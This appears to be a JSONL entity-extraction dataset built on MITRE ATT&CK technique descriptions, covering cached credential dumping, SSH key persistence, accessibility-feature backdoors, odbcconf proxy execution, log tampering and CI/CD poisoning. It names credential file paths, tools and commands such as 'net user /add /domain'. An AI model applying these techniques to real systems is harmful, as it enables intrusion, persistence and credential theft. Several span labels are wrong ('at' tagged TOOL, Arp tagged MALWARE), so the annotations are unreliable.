{"text": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash. The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use Password Cracking to obtain the plaintext password. \n\nWith SYSTEM or sudo access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.", "spans": {"SYSTEM: Windows Vista": [[151, 164], [1195, 1208]], "SYSTEM: Linux": [[487, 492], [1112, 1117]], "SYSTEM: Active Directory": [[502, 518]], "TOOL: at": [[725, 727]], "FILEPATH: /var/lib/sss/db/cache.[domain].ldb`": [[729, 764]], "FILEPATH: /var/opt/quest/vas/authcache/vas_auth.vdb`": [[778, 820]], "TOOL: Mimikatz": [[1050, 1058]], "TOOL: Reg": [[1060, 1063]], "SYSTEM: Windows": [[1088, 1095]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1003.005"}}
{"text": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.", "spans": {"SYSTEM: SSH": [[27, 30], [234, 237], [311, 314], [329, 332], [624, 627], [891, 894], [900, 903], [1000, 1003], [1189, 1192], [1379, 1382], [1637, 1640], [1982, 1985]], "SYSTEM: Linux": [[107, 112]], "SYSTEM: macOS": [[128, 133]], "TOOL: ssh": [[510, 513], [2062, 2065]], "FILEPATH: /etc/ssh/keys-": [[552, 566]], "FILEPATH: /etc/ssh/sshd_config": [[947, 967]], "SYSTEM: API": [[1285, 1288], [1525, 1528]], "SYSTEM: Google Cloud": [[1316, 1328]], "SYSTEM: Azure": [[1421, 1426]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1098.004"}}
{"text": "An adversary may attempt to enumerate running virtual machines (VMs) after gaining access to a host or hypervisor. For example, adversaries may enumerate a list of VMs on an ESXi hypervisor using a Hypervisor CLI such as `esxcli` or `vim-cmd` (e.g. `esxcli vm process list or vim-cmd vmsvc/getallvms`). Adversaries may also directly leverage a graphical user interface, such as VMware vCenter, in order to view virtual machines on a host. \n\nAdversaries may use the information from Virtual Machine Discovery during discovery to shape follow-on behaviors. Subsequently discovered VMs may be leveraged for follow-on activities such as Service Stop or Data Encrypted for Impact.", "spans": {"TOOL: cmd": [[238, 241], [280, 283]], "SYSTEM: VMware": [[378, 384]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1673"}}
{"text": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Technical Databases or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1590.006"}}
{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\\dbg\\ntsd.exe -g  notepad.exe</code>). \n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool.  IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable></code> where <code>&lt;executable&gt;</code> is the binary on which the debugger is attached. \n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process).   Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\</code>.  \n\nSimilar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the \"debugger\" program to be executed with SYSTEM privileges. \n\nSimilar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.  Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to Impair Defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.", "spans": {"FILEPATH: C:\\dbg\\ntsd.exe": [[406, 421]], "SYSTEM: Registry": [[483, 491], [594, 602], [1139, 1147], [1364, 1372], [1544, 1552]], "ORGANIZATION: Microsoft": [[643, 652], [1192, 1201]], "SYSTEM: Windows NT": [[653, 663], [1202, 1212]], "SYSTEM: Windows Vista": [[1296, 1309]], "SYSTEM: Windows Server 2008": [[1331, 1350]], "TOOL: cmd.exe": [[1410, 1417]], "TOOL: at": [[1607, 1609], [1633, 1635]], "TOOL: Remote Desktop Protocol": [[1672, 1695]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.012"}}
{"text": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names. The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a <code>REGSVR</code> flag that can be misused to execute DLLs (ex: <code>odbcconf.exe /S /A &lbrace;REGSVR \"C:\\Users\\Public\\file.dll\"&rbrace;</code>).", "spans": {"SYSTEM: Windows": [[95, 102]], "ORGANIZATION: Microsoft": [[256, 265]], "TOOL: Regsvr32": [[399, 407]], "FILEPATH: C:\\Users\\Public\\file.dll": [[535, 559]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1218.008"}}
{"text": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1593.002"}}
{"text": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise, Drive-by Compromise, or Trusted Relationship).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1591.002"}}
{"text": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts. \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.\n\n**Note:** this technique is distinct from Additional Cloud Roles, which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control Additional Cloud Roles that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.", "spans": {"SYSTEM: GCP": [[953, 956], [1911, 1914]], "SYSTEM: Google Workspace": [[1206, 1222]], "SYSTEM: Exchange": [[1236, 1244]], "SYSTEM: AWS": [[1804, 1807]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1548.005"}}
{"text": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.", "spans": {"SYSTEM: API": [[410, 413]], "SYSTEM: macOS": [[717, 722]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1125"}}
{"text": "Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.  To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.  To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. \n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. \n\nAdversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. \n\nProcess Doppelgänging is implemented in 4 steps :\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[271, 278]], "TOOL: at": [[458, 460], [637, 639]], "SYSTEM: API": [[858, 861], [1252, 1255]], "SYSTEM: Windows 10": [[886, 896]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.013"}}
{"text": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nAdversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>). On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.\n\nAdversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.", "spans": {"MALWARE: Arp": [[305, 308]], "TOOL: ipconfig": [[310, 318]], "TOOL: ifconfig": [[319, 327]], "MALWARE: nbtstat": [[329, 336]], "TOOL: route": [[342, 347], [569, 574]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1016"}}
{"text": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1578.003"}}
{"text": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.  \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). \n\n**Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.", "spans": {"SYSTEM: GitHub": [[192, 198]], "SYSTEM: GitLab": [[200, 206]], "SYSTEM: API": [[730, 733]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1593.003"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors.   If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "spans": {"FILEPATH: %TEMP%": [[913, 919]], "TOOL: at": [[1448, 1450], [1817, 1819]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574.005"}}
{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. \n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP).  The Image File Execution Options Injection debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges. \n\nOther accessibility features exist that may also be leveraged in a similar fashion: \n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "spans": {"SYSTEM: Windows": [[132, 139], [273, 280], [627, 634], [857, 864], [1098, 1105], [1254, 1261]], "FILEPATH: C:\\Windows\\System32\\sethc.exe": [[471, 500]], "FILEPATH: C:\\Windows\\System32\\utilman.exe": [[569, 600], [1642, 1673]], "SYSTEM: Registry": [[1067, 1075]], "FILEPATH: %systemdir%": [[1205, 1216]], "SYSTEM: Windows XP": [[1534, 1544]], "SYSTEM: Windows Server 2003": [[1570, 1589]], "TOOL: cmd.exe": [[1704, 1711]], "TOOL: at": [[1820, 1822], [1854, 1856]], "TOOL: Remote Desktop Protocol": [[1893, 1916]], "FILEPATH: C:\\Windows\\System32\\osk.exe": [[2101, 2128]], "FILEPATH: C:\\Windows\\System32\\Magnify.exe": [[2155, 2186]], "FILEPATH: C:\\Windows\\System32\\Narrator.exe": [[2212, 2244]], "FILEPATH: C:\\Windows\\System32\\DisplaySwitch.exe": [[2278, 2315]], "FILEPATH: C:\\Windows\\System32\\AtBroker.exe": [[2345, 2377]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.008"}}
{"text": "Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents. Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services. Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise.\n\nIn addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1496.002"}}
{"text": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists. On hosts, adversaries can use default PowerShell and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.", "spans": {"TOOL: PowerShell": [[702, 712]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1087"}}
{"text": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.  Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "spans": {"TOOL: HTRAN": [[315, 320]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1090"}}
{"text": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.\n\nThere are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.", "spans": {"SYSTEM: macOS": [[337, 342]], "SYSTEM: Linux": [[347, 352]], "SYSTEM: Unix": [[390, 394]], "SYSTEM: Windows": [[407, 414], [441, 448]], "TOOL: PowerShell": [[467, 477]], "SYSTEM: Python": [[531, 537]], "SYSTEM: JavaScript": [[609, 619]], "SYSTEM: Visual Basic": [[624, 636]], "SYSTEM: Access": [[788, 794]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059"}}
{"text": "Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.", "spans": {"SYSTEM: GitHub": [[209, 215]], "SYSTEM: Access": [[342, 348]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.005"}}
{"text": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting or even disabling host-based sensors, such as Event Tracing for Windows (ETW), by tampering settings that control the collection and flow of event telemetry. These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as PowerShell or Windows Management Instrumentation.\n\nFor example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately. \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors.  ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.", "spans": {"SYSTEM: Windows": [[226, 233]], "SYSTEM: Registry": [[400, 408], [1003, 1011]], "TOOL: PowerShell": [[474, 484], [915, 925]], "SYSTEM: Windows Management Instrumentation": [[488, 522]], "SYSTEM: Linux": [[1469, 1474]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.006"}}
{"text": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "spans": {"SYSTEM: Active Directory": [[115, 131]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1136.002"}}
{"text": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`,  `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.", "spans": {"SYSTEM: macOS": [[54, 59], [212, 217], [343, 348], [662, 667], [1010, 1015]], "SYSTEM: Linux": [[64, 69], [222, 227], [365, 370], [488, 493], [1225, 1230]], "SYSTEM: Gatekeeper": [[861, 871]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.014"}}
{"text": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1589.003"}}
{"text": "Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: \n\n* In a <b>Direct Pipeline Execution</b> scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.\n* In an <b>Indirect Pipeline Execution</b> scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.\n* In a <b>Public Pipeline Execution</b> scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets.  If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials. Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted. Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization’s network.\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., Supply Chain Compromise).", "spans": {"SYSTEM: GitLab": [[338, 344]], "SYSTEM: GitHub": [[931, 937]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1677"}}
{"text": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain. Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting. Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP. The Windows utility Nltest is known to be used by adversaries to enumerate domain trusts.", "spans": {"SYSTEM: Windows": [[139, 146], [642, 649]], "SYSTEM: Win32 API": [[598, 607]], "SYSTEM: .NET": [[614, 618]], "SYSTEM: LDAP": [[632, 636]], "TOOL: Nltest": [[658, 664]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1482"}}
